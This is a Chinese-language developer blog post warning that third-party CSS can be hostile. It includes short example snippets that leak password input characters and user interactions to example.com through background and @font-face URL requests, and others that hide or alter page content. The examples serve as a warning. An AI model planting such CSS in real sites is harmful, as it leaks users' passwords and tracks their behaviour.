YeaseonZhang

别人写的css,你敢用吗?

为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗?

大多数web开发者认为只要不使用别人的js,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在css上做手脚了。

在浏览器设置中用户可以禁用js,但是css却是没有办法禁用的。

首先聊一聊使用第三方资源,能够造成的危害。

图片

1
<img src="https://img.com/iphone6s.jpg">

引用第三方图片资源,可能会出现2个问题:

  • 图片资源失效
  • 图片资源被替换

上图展示了使用第三方图片可能带来的后果,图片资源只会影响自身的状态而不会影响其他部分。

脚本

1
<script src="http://example.com/script.js"></script>

脚本的作用范围就不是图片能够比拟的了,脚本能够随意控制整个页面。

  • 读取、篡改页面内容
  • 监控用户行为
  • 使用用户浏览器的算力进行挖矿
  • 使用用户cookie做请求,并转发响应
  • 读取、篡改浏览器storage
  • More

storage/indexDB如果被更改,即使删除了脚本,这些更改仍然不可逆。

只有在完全信任的情况下,才会选择加载第三方脚本。

下面来介绍本文的重头戏 — 第三方css

CSS

css在作用范围的方面更加接近于js,因为它同样是在整个页面生效。

css能在以下几个方面对页面进行操作:

  • 增、删和改页面内容
  • 根据页面内容发起请求
  • 响应用户交互

js相比,css不能做到的是修改storage,也不能用来挖矿。

键盘记录器

键盘记录器,指的是页面会记录用户的输入。目前这种行为只存在于使用React/类React框架的页面。

1
2
3
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}

如果密码输入框,输入以p结尾的密码,就会发起一个//exaple.com/password?p请求。浏览器默认不会记住input输入框的输入,这也就是为什么说这种行为只存在于使用React/类React框架的页面中,下面截取两个例子。

JD主站没有使用React/类React框架,输入框的内容不会再input标签中显示value属性

instagram使用的是React框架,会把输入框的内容同步显示在inputvalue属性中。

有没有通过这个例子,觉得CSS比你想象的强大的多。

隐藏内容

通过一些技巧,将真正的页面内容不展示给用户。

1
2
3
4
5
6
7
body {
display: none;
}

html::after {
content: 'HTTP 500 Server Error';
}

上例将真正的主体内容隐藏,展示给用户HTTP 500错误。

增加内容

1
2
3
.price-value::after {
content: '8';
}

商品涨价了诶,估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。

移动内容

1
2
3
4
5
6
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}

结算按钮被第三方css就这样搞没了,用户根本没办法完成购买行为,这种情况对电商网站很伤,导致“只能看不能买”

监控用户交互

1
2
3
4
5
6
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}

通过上面的代码,可以用来检测用户在登录按钮的交互状态,是hover还是active(点击),不同的状态会发送不同的请求。

如果页面中适量增加类似css代码,可以有用来做用户画像分析。

读取页面内容

1
2
3
4
5
6
7
8
9
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}

html {
font-family: blah, sans-serif;
}

伪造一种字体blah,如果页面中有在unicode-range范围内的字符就会发送设置好的请求,我们这里例子是字符q

@font-face中的请求会在开发控制台的Network -> font类型中看到。

也许你觉得只能检测页面中的单个字符作用很小,那我给你介绍一个css的新属性font-variant-ligatures,通过这个属性我们可以设置字符为连字效果。

但是目前只有OpenType字体支持连字效果,不同的OpenType字体连字显示的效果也不一致。

启用连字效果

1
2
3
4
5
6
7
8
9
10
body {
font-feature-settings: "liga" 1;
}

@supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures;
}
}

全部都设置完成之后,我们就可以检测特定的连字字符。比如ff连字的unicode码就是\ufb00

查询unicode码对应哪些字符,可以通过Unicode® character table进行查询。

总结

通过以上的几个CSS的例子,你是不是觉得CSS也同样强大,不守信的第三方CSS也不可轻易采用。

总结一下,自己的CSS,还得自己写。。。